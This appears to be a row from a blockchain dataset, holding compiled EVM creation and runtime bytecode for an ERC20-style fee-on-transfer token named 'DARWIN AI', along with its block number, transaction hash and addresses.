19050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea264697066735822122025a4760fc91e9b553f8a5e1e0dcb2b4bfbb7259dbf8f547193f1393d756c6b1064736f6c63430008070033
1	19,499,685	c951a8d3a2d5555f0b01c801e60f5666bfa6a3e75c3f78812f9cd20d71b3ca19	f87e0ff4d43af5fea0fd2b8f8c263890b642b5557f4c004366bc120fbb9c1ad0	14b0b5c40be86a1448a029252d69e974183c8735	14b0b5c40be86a1448a029252d69e974183c8735	389e055034e93e7232fb0bdcbd8497f323d316d1	60806040523480156200001157600080fd5b506040518060400160405280600881526020017f44415257494e41490000000000000000000000000000000000000000000000008152506040518060400160405280600981526020017f44415257494e204149000000000000000000000000000000000000000000000081525081600390816200008f919062000ea3565b508060049081620000a1919062000ea3565b5050506000620000b66200089160201b60201c565b905080600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506000603846036200017d577310ed43c718714eb63d5aa57b78b54704e256024e9050620001dd565b60614603620001a35773d99d1c33f9fc3444f8101754abc46c52416550d19050620001dc565b6001461480620001b35750600546145b15620001d657737a250d5630b4cf539739df2c5dacb4c659f2488d9050620001db565b600080fd5b5b5b600081905060008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000230573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000256919062000ff4565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002be573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002e4919062000ff4565b6040518363ffffffff1660e01b81526004016200030392919062001037565b6020604051808303816000875af115801562000323573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000349919062000ff4565b905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200042230600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6200089960201b60201c565b604051806020016040528060008152506009908162000442919062000ea3565b506032600a819055506032600b819055506000600c8190555073f88899c9e0972a262313afebe840ec796baf77cd600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601160006101000a81548160ff021916908315150217905550600160106000620004e162000a6a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601060003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016010600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160106000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860006200067462000a6a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016008600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620007c76200078b62000a6a60201b60201c565b6200079b62000a9460201b60201c565b600a620007a99190620011f4565b6402540be400620007bb919062001245565b62000a9d60201b60201c565b611388620007da62000c1560201b60201c565b620007e69190620012bf565b600e819055506103e860646200080162000c1560201b60201c565b6200080d919062001245565b620008199190620012bf565b6012819055506103e860646200083462000c1560201b60201c565b62000840919062001245565b6200084c9190620012bf565b6013819055506000600f60026101000a81548160ff0219169083151502179055506000600f60016101000a81548160ff02191690831515021790555050505062001513565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036200090b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000902906200137e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200097d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009749062001416565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405162000a5d919062001449565b60405180910390a3505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000b0f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000b0690620014b6565b60405180910390fd5b62000b236000838362000c1f60201b60201c565b806002600082825462000b379190620014d8565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000b8e9190620014d8565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000bf5919062001449565b60405180910390a362000c116000838362000c2460201b60201c565b5050565b6000600254905090565b505050565b505050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000cab57607f821691505b60208210810362000cc15762000cc062000c63565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000d2b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000cec565b62000d37868362000cec565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000d8462000d7e62000d788462000d4f565b62000d59565b62000d4f565b9050919050565b6000819050919050565b62000da08362000d63565b62000db862000daf8262000d8b565b84845462000cf9565b825550505050565b600090565b62000dcf62000dc0565b62000ddc81848462000d95565b505050565b5b8181101562000e045762000df860008262000dc5565b60018101905062000de2565b5050565b601f82111562000e535762000e1d8162000cc7565b62000e288462000cdc565b8101602085101562000e38578190505b62000e5062000e478562000cdc565b83018262000de1565b50505b505050565b600082821c905092915050565b600062000e786000198460080262000e58565b1980831691505092915050565b600062000e93838362000e65565b9150826002028217905092915050565b62000eae8262000c29565b67ffffffffffffffff81111562000eca5762000ec962000c34565b5b62000ed6825462000c92565b62000ee382828562000e08565b600060209050601f83116001811462000f1b576000841562000f06578287015190505b62000f12858262000e85565b86555062000f82565b601f19841662000f2b8662000cc7565b60005b8281101562000f555784890151825560018201915060208501945060208101905062000f2e565b8683101562000f75578489015162000f71601f89168262000e65565b8355505b6001600288020188555050505b505050505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000fbc8262000f8f565b9050919050565b62000fce8162000faf565b811462000fda57600080fd5b50565b60008151905062000fee8162000fc3565b92915050565b6000602082840312156200100d576200100c62000f8a565b5b60006200101d8482850162000fdd565b91505092915050565b620010318162000faf565b82525050565b60006040820190506200104e600083018562001026565b6200105d602083018462001026565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620010f257808604811115620010ca57620010c962001064565b5b6001851615620010da5780820291505b8081029050620010ea8562001093565b9450620010aa565b94509492505050565b6000826200110d5760019050620011e0565b816200111d5760009050620011e0565b8160018114620011365760028114620011415762001177565b6001915050620011e0565b60ff84111562001156576200115562001064565b5b8360020a91508482111562001170576200116f62001064565b5b50620011e0565b5060208310610133831016604e8410600b8410161715620011b15782820a905083811115620011ab57620011aa62001064565b5b620011e0565b620011c08484846001620010a0565b92509050818404811115620011da57620011d962001064565b5b81810290505b9392505050565b600060ff82169050919050565b6000620012018262000d4f565b91506200120e83620011e7565b92506200123d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620010fb565b905092915050565b6000620012528262000d4f565b91506200125f8362000d4f565b92508282026200126f8162000d4f565b9150828204841483151762001289576200128862001064565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620012cc8262000d4f565b9150620012d98362000d4f565b925082620012ec57620012eb62001290565b5b828204905092915050565b600082825260208201905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600062001366602483620012f7565b9150620013738262001308565b604082019050919050565b60006020820190508181036000830152620013998162001357565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000620013fe602283620012f7565b91506200140b82620013a0565b604082019050919050565b600060208201905081810360008301526200143181620013ef565b9050919050565b620014438162000d4f565b82525050565b600060208201905062001460600083018462001438565b92915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b60006200149e601f83620012f7565b9150620014ab8262001466565b602082019050919050565b60006020820190508181036000830152620014d1816200148f565b9050919050565b6000620014e58262000d4f565b9150620014f28362000d4f565b92508282019050808211156200150d576200150c62001064565b5b92915050565b614db480620015236000396000f3fe60806040526004361061024a5760003560e01c806370a0823111610139578063afa4f3b2116100b6578063dd62ed3e1161007a578063dd62ed3e1461088f578063e01af92c146108cc578063e2f45605146108f5578063eba4c33314610920578063f2fde38b14610949578063f9d0831a1461097257610251565b8063afa4f3b2146107c0578063b6f7f681146107e9578063bb85c6d114610812578063c02466681461083b578063dc4c7dbc1461086457610251565b80638a8c523c116100fd5780638a8c523c146106d95780638da5cb5b146106f057806395d89b411461071b578063a457c2d714610746578063a9059cbb1461078357610251565b806370a0823114610608578063715018a61461064557806371fc46881461065c57806375f0a87414610685578063880bcbc1146106b057610251565b806339509351116101c757806359136fa51161018b57806359136fa5146105335780635fc2e5961461055e57806364c98c44146105895780636ddd1713146105b2578063702509fd146105dd57610251565b8063395093511461043a57806349bd5a5e146104775780634ada218b146104a25780634fbee193146104cd57806356a6cabf1461050a57610251565b806318160ddd1161020e57806318160ddd1461033f57806318d9ceae1461036a57806323b872dd146103a75780632ba86bf2146103e4578063313ce5671461040f57610251565b80630105d0fd1461025657806302d05d3f1461028157806306fdde03146102ac578063095ea7b3146102d75780631694505e1461031457610251565b3661025157005b600080fd5b34801561026257600080fd5b5061026b61099b565b6040516102789190613561565b60405180910390f35b34801561028d57600080fd5b506102966109a1565b6040516102a3919061360c565b60405180910390f35b3480156102b857600080fd5b506102c1610a2f565b6040516102ce919061360c565b60405180910390f35b3480156102e357600080fd5b506102fe60048036038101906102f991906136bd565b610ac1565b60405161030b9190613718565b60405180910390f35b34801561032057600080fd5b50610329610adf565b6040516103369190613792565b60405180910390f35b34801561034b57600080fd5b50610354610b05565b6040516103619190613561565b60405180910390f35b34801561037657600080fd5b50610391600480360381019061038c91906137ad565b610b0f565b60405161039e9190613718565b60405180910390f35b3480156103b357600080fd5b506103ce60048036038101906103c991906137da565b610b65565b6040516103db9190613718565b60405180910390f35b3480156103f057600080fd5b506103f9610c84565b6040516104069190613718565b60405180910390f35b34801561041b57600080fd5b50610424610c97565b6040516104319190613849565b60405180910390f35b34801561044657600080fd5b50610461600480360381019061045c91906136bd565b610ca0565b60405161046e9190613718565b60405180910390f35b34801561048357600080fd5b5061048c610d4c565b6040516104999190613873565b60405180910390f35b3480156104ae57600080fd5b506104b7610d72565b6040516104c49190613718565b60405180910390f35b3480156104d957600080fd5b506104f460048036038101906104ef91906137ad565b610d85565b6040516105019190613718565b60405180910390f35b34801561051657600080fd5b50610531600480360381019061052c91906138ba565b610ddb565b005b34801561053f57600080fd5b50610548610f2a565b6040516105559190613561565b60405180910390f35b34801561056a57600080fd5b50610573610f30565b6040516105809190613561565b60405180910390f35b34801561059557600080fd5b506105b060048036038101906105ab91906138e7565b610f36565b005b3480156105be57600080fd5b506105c7611054565b6040516105d49190613718565b60405180910390f35b3480156105e957600080fd5b506105f2611067565b6040516105ff9190613561565b60405180910390f35b34801561061457600080fd5b5061062f600480360381019061062a91906137ad565b61106d565b60405161063c9190613561565b60405180910390f35b34801561065157600080fd5b5061065a6110b5565b005b34801561066857600080fd5b50610683600480360381019061067e91906138e7565b61120d565b005b34801561069157600080fd5b5061069a61132d565b6040516106a79190613873565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d29190613914565b611353565b005b3480156106e557600080fd5b506106ee611593565b005b3480156106fc57600080fd5b506107056116b2565b6040516107129190613873565b60405180910390f35b34801561072757600080fd5b506107306116dc565b60405161073d919061360c565b60405180910390f35b34801561075257600080fd5b5061076d600480360381019061076891906136bd565b61176e565b60405161077a9190613718565b60405180910390f35b34801561078f57600080fd5b506107aa60048036038101906107a591906136bd565b611859565b6040516107b79190613718565b60405180910390f35b3480156107cc57600080fd5b506107e760048036038101906107e291906138e7565b611877565b005b3480156107f557600080fd5b50610810600480360381019061080b9190613954565b6119a8565b005b34801561081e57600080fd5b50610839600480360381019061083491906137ad565b611b7d565b005b34801561084757600080fd5b50610862600480360381019061085d9190613914565b611db0565b005b34801561087057600080fd5b50610879611f82565b6040516108869190613561565b60405180910390f35b34801561089b57600080fd5b506108b660048036038101906108b19190613994565b611f88565b6040516108c39190613561565b60405180910390f35b3480156108d857600080fd5b506108f360048036038101906108ee91906138ba565b61200f565b005b34801561090157600080fd5b5061090a612118565b6040516109179190613561565b60405180910390f35b34801561092c57600080fd5b50610947600480360381019061094291906138e7565b61211e565b005b34801561095557600080fd5b50610970600480360381019061096b91906137ad565b61223e565b005b34801561097e57600080fd5b50610999600480360381019061099491906137ad565b612404565b005b60125481565b600980546109ae90613a03565b80601f01602080910402602001604051908101604052809291908181526020018280546109da90613a03565b8015610a275780601f106109fc57610100808354040283529160200191610a27565b820191906000526020600020905b815481529060010190602001808311610a0a57829003601f168201915b505050505081565b606060038054610a3e90613a03565b80601f0160208091040260200160405190810160405280929190818152602001828054610a6a90613a03565b8015610ab75780601f10610a8c57610100808354040283529160200191610ab7565b820191906000526020600020905b815481529060010190602001808311610a9a57829003601f168201915b5050505050905090565b6000610ad5610ace612674565b848461267c565b6001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600254905090565b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610bb1612674565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610c6d5782811015610c58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4f90613aa6565b60405180910390fd5b610c6c85610c64612674565b85840361267c565b5b610c78858585612845565b60019150509392505050565b601160009054906101000a900460ff1681565b60006012905090565b6000610d42610cad612674565b848460016000610cbb612674565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d3d9190613af5565b61267c565b6001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600f60029054906101000a900460ff1681565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610de3612674565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6990613b75565b60405180910390fd5b601160009054906101000a900460ff16151581151503610ec7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebe90613c07565b60405180910390fd5b80601160006101000a81548160ff0219169083151502179055507fe81be35e61864c26afd7a4655e99f321378d0aaae1e5af8ee67b658a7460f3cf601160009054906101000a900460ff16604051610f1f9190613718565b60405180910390a150565b60135481565b600a5481565b610f3e612674565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fcd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc490613b75565b60405180910390fd5b6005811115611011576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100890613c99565b60405180910390fd5b80600c819055507f925fa17eb1bbdac8e18750276099046910212e51b0d15da024f67ce9fb25cc9b600c546040516110499190613561565b60405180910390a150565b600f60019054906101000a900460ff1681565b600c5481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6110bd612674565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461114c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114390613b75565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b611215612674565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129b90613b75565b60405180910390fd5b80600a819055506032600a5411156112f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e890613d2b565b60405180910390fd5b7f2c18bb7f919d244fa8ee59517018a471ec455b76373719d2d6664fa3b1947da9600a546040516113229190613561565b60405180910390a150565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61135b612674565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e190613b75565b60405180910390fd5b801515601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615150361147c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147390613dbd565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e190613e29565b60405180910390fd5b80601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f8727c4afe988887760e8db0bbad9f9fcceee6428545956832f67c8fdbd589c10826040516115879190613718565b60405180910390a25050565b61159b612674565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461162a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162190613b75565b60405180910390fd5b600f60029054906101000a900460ff161561167a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167190613e95565b60405180910390fd5b6001600f60026101000a81548160ff0219169083151502179055506001600f60016101000a81548160ff021916908315150217905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546116eb90613a03565b80601f016020809104026020016040519081016040528092919081815260200182805461171790613a03565b80156117645780601f1061173957610100808354040283529160200191611764565b820191906000526020600020905b81548152906001019060200180831161174757829003601f168201915b5050505050905090565b6000806001600061177d612674565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561183a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183190613f27565b60405180910390fd5b61184e611845612674565b8585840361267c565b600191505092915050565b600061186d611866612674565b8484612845565b6001905092915050565b61187f612674565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461190e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190590613b75565b60405180910390fd5b620f424061191a610b05565b6119249190613f76565b8111611965576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195c90614019565b60405180910390fd5b80600e819055507f7c26bfee26f82e8cb57af48f4019cc64582db6fac7bad778433f10572ae8b145600e5460405161199d9190613561565b60405180910390a150565b6119b0612674565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3690613b75565b60405180910390fd5b6103e8611a4a610c97565b600a611a56919061416c565b611a5e610b05565b611a689190613f76565b611a729190613f76565b8210158015611ab357506103e8611a87610c97565b600a611a93919061416c565b611a9b610b05565b611aa59190613f76565b611aaf9190613f76565b8110155b611af2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae990614229565b60405180910390fd5b611afa610c97565b600a611b06919061416c565b82611b119190614249565b601281905550611b1f610c97565b600a611b2b919061416c565b81611b369190614249565b6013819055507f8c8cbc911b80df94332ececb8eb0945274d76fa965600a0f01f42af3f8afb131601254601354604051611b7192919061428b565b60405180910390a15050565b611b85612674565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0b90613b75565b60405180910390fd5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611ca4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9b90614326565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611d13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d0a906143b8565b60405180910390fd5b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fa964ba5c52d7e7bfcae4fb1ae4db9f211756d0e618e85fac5283b882a39e7a0b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051611da59190613873565b60405180910390a150565b611db8612674565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611e47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3e90613b75565b60405180910390fd5b801515600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503611ed9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ed09061444a565b60405180910390fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051611f769190613718565b60405180910390a25050565b600b5481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b612017612674565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146120a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209d90613b75565b60405180910390fd5b801515600f60019054906101000a900460ff161515036120fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f2906144dc565b60405180910390fd5b80600f60016101000a81548160ff02191690831515021790555050565b600e5481565b612126612674565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146121b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ac90613b75565b60405180910390fd5b80600b819055506032600b541115612202576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121f990613d2b565b60405180910390fd5b7fa54a45ff147b987a50c11919090466ad8b9df105c160d2e6bfb296df2b9abfb7600b546040516122339190613561565b60405180910390a150565b612246612674565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146122d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122cc90613b75565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612344576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161233b9061456e565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61240c612674565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461249b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161249290613b75565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612509576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250090614600565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361256c57612566473373ffffffffffffffffffffffffffffffffffffffff16612f5290919063ffffffff16565b50612671565b600081905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016125ac9190613873565b602060405180830381865afa1580156125c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125ed9190614635565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b815260040161262a929190614662565b6020604051808303816000875af1158015612649573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061266d91906146a0565b5050505b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036126eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126e29061473f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361275a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612751906147d1565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516128389190613561565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036128b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128ab90614863565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612923576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161291a906148f5565b60405180910390fd5b600f60029054906101000a900460ff16806129875750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806129db5750600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612a1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1190614961565b60405180910390fd5b60008103612a3357612a2e8383600061300d565b612f4d565b601160009054906101000a900460ff1615612c8957600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffff